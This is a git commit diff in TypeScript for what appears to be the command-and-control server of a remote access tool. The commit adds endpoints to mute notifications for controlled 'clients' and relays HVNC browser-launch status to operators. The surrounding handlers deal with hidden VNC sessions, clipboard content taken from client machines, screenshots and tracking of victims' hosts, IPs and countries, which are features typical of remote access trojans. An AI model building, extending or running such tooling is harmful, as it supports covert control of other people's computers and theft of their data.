hvnc status and muting users.

This commit is contained in:
KingKDot
2026-05-15 18:29:25 -05:00
parent 12972d6e8b
commit 5aa3a304a8
18 changed files with 354 additions and 16 deletions
@@ -15,6 +15,7 @@ import {
listDistinctCountries,
setClientBookmark,
setClientNickname,
setClientNotificationsMuted,
setClientTag,
setOnlineState,
unbanIp,
@@ -472,6 +473,83 @@ export async function handleClientRoutes(
);
}
if (req.method === "PATCH" && url.pathname === "/api/clients/bulk-notifications-muted") {
const user = await authenticateRequest(req);
if (!user) return new Response("Unauthorized", { status: 401 });
try { requirePermission(user, "clients:control"); } catch (error) {
if (error instanceof Response) return error;
return new Response("Forbidden", { status: 403 });
}
let body: any = {};
try { body = await req.json(); } catch {
return Response.json({ error: "Invalid JSON body" }, { status: 400 });
}
const clientIds = body?.clientIds;
if (!Array.isArray(clientIds) || clientIds.length === 0 || clientIds.some((id: any) => typeof id !== "string")) {
return Response.json({ error: "clientIds must be a non-empty array of strings" }, { status: 400 });
}
if (clientIds.length > 500) {
return Response.json({ error: "Too many clients (max 500)" }, { status: 400 });
}
const muted = !!body?.muted;
let updated = 0;
for (const cid of clientIds) {
if (!canUserAccessClient(user.userId, user.role, cid)) continue;
if (setClientNotificationsMuted(cid, muted)) updated++;
}
notifyDashboardViewers();
const ip = server.requestIP(req)?.address || "unknown";
logAudit({ timestamp: Date.now(), username: user.username, ip, action: AuditAction.COMMAND, details: `bulk_set_notifications_muted:${muted}:${updated}/${clientIds.length}`, success: true });
return Response.json({ ok: true, updated, total: clientIds.length, muted }, { headers: deps.CORS_HEADERS });
}
const muteMatch = url.pathname.match(/^\/api\/clients\/([^/]+)\/notifications-muted$/);
if (req.method === "PATCH" && muteMatch) {
const user = await authenticateRequest(req);
if (!user) return new Response("Unauthorized", { status: 401 });
try { requirePermission(user, "clients:control"); } catch (error) {
if (error instanceof Response) return error;
return new Response("Forbidden", { status: 403 });
}
const targetId = muteMatch[1];
if (!canUserAccessClient(user.userId, user.role, targetId)) {
return new Response("Forbidden: Client access denied", { status: 403 });
}
if (!clientExists(targetId)) {
return Response.json({ error: "Client not found" }, { status: 404 });
}
let body: any = {};
try { body = await req.json(); } catch {
return Response.json({ error: "Invalid JSON body" }, { status: 400 });
}
const muted = !!body?.muted;
const updated = setClientNotificationsMuted(targetId, muted);
if (!updated) {
return Response.json({ error: "Client not found" }, { status: 404 });
}
notifyDashboardViewers();
const ip = server.requestIP(req)?.address || "unknown";
logAudit({
timestamp: Date.now(),
username: user.username,
ip,
action: AuditAction.COMMAND,
targetClientId: targetId,
details: muted ? "mute_notifications" : "unmute_notifications",
success: true,
});
return Response.json({ ok: true, muted }, { headers: deps.CORS_HEADERS });
}
const bookmarkMatch = url.pathname.match(/^\/api\/clients\/([^/]+)\/bookmark$/);
if (req.method === "PATCH" && bookmarkMatch) {
const user = await authenticateRequest(req);
@@ -156,6 +156,7 @@ type WsLifecycleDeps = {
handleHVNCBrowserCheckResult: (clientId: string, payload: any) => void;
handleHVNCInstalledAppsResult: (clientId: string, payload: any) => void;
handleHVNCDXGIStatus: (clientId: string, payload: any) => void;
handleHVNCBrowserLaunchStatus: (clientId: string, payload: any) => void;
handleClipboardContent: (clientId: string, payload: any) => void;
handleWebrtcP2PAnswer: (clientId: string, payload: any) => void;
handleWebrtcP2PIce: (clientId: string, payload: any) => void;
@@ -723,6 +724,9 @@ export async function handleWebSocketMessage(
case "hvnc_dxgi_status":
deps.handleHVNCDXGIStatus(client.id, payload);
break;
case "hvnc_browser_launch_status":
deps.handleHVNCBrowserLaunchStatus(client.id, payload);
break;
case "clipboard_content":
deps.handleClipboardContent(client.id, payload);
break;
@@ -795,6 +795,18 @@ export function handleHVNCDXGIStatus(clientId: string, payload: any) {
}
}
export function handleHVNCBrowserLaunchStatus(clientId: string, payload: any) {
for (const session of sessionManager.getHvncSessionsForClient(clientId)) {
safeSendViewer(session.viewer, {
type: "hvnc_browser_launch_status",
browser: String(payload.browser || ""),
step: String(payload.step || ""),
success: !!payload.success,
detail: String(payload.detail || ""),
});
}
}
export function handleClipboardContent(clientId: string, payload: any) {
const text = String(payload.text || "");
const source = String(payload.source || "");
@@ -57,6 +57,7 @@ type CreateDeps = {
getNotificationConfig: () => NotificationConfigShape;
canUserAccessClient: (userId: number, userRole: string, clientId: string) => boolean;
getUserRole: (userId: number) => string | undefined;
isClientNotificationsMuted: (clientId: string) => boolean;
storeNotificationScreenshot: (
pending: PendingNotificationScreenshot,
bytes: Uint8Array,
@@ -284,8 +285,14 @@ export function createNotificationPluginHandlers(deps: CreateDeps) {
saveNotification(record);
const muted = deps.isClientNotificationsMuted(clientId);
requestNotificationScreenshot(info, record);
if (muted) {
return;
}
for (const session of sessionManager.getAllNotificationSessions().values()) {
const sRole = session.userRole ?? session.viewer.data.userRole ?? "";
const sUserId = session.userId ?? session.viewer.data.userId;
@@ -359,6 +366,9 @@ export function createNotificationPluginHandlers(deps: CreateDeps) {
event: "client_online" | "client_offline" | "client_purgatory",
info: { id: string; host?: string; user?: string; os?: string; ip?: string; country?: string },
) {
if (deps.isClientNotificationsMuted(info.id)) {
return;
}
const item = { type: "client_event", event, clientId: info.id, host: info.host, user: info.user, os: info.os, ip: info.ip, country: info.country, ts: Date.now() };
for (const session of sessionManager.getAllNotificationSessions().values()) {
const sRole = session.userRole ?? session.viewer.data.userRole ?? "";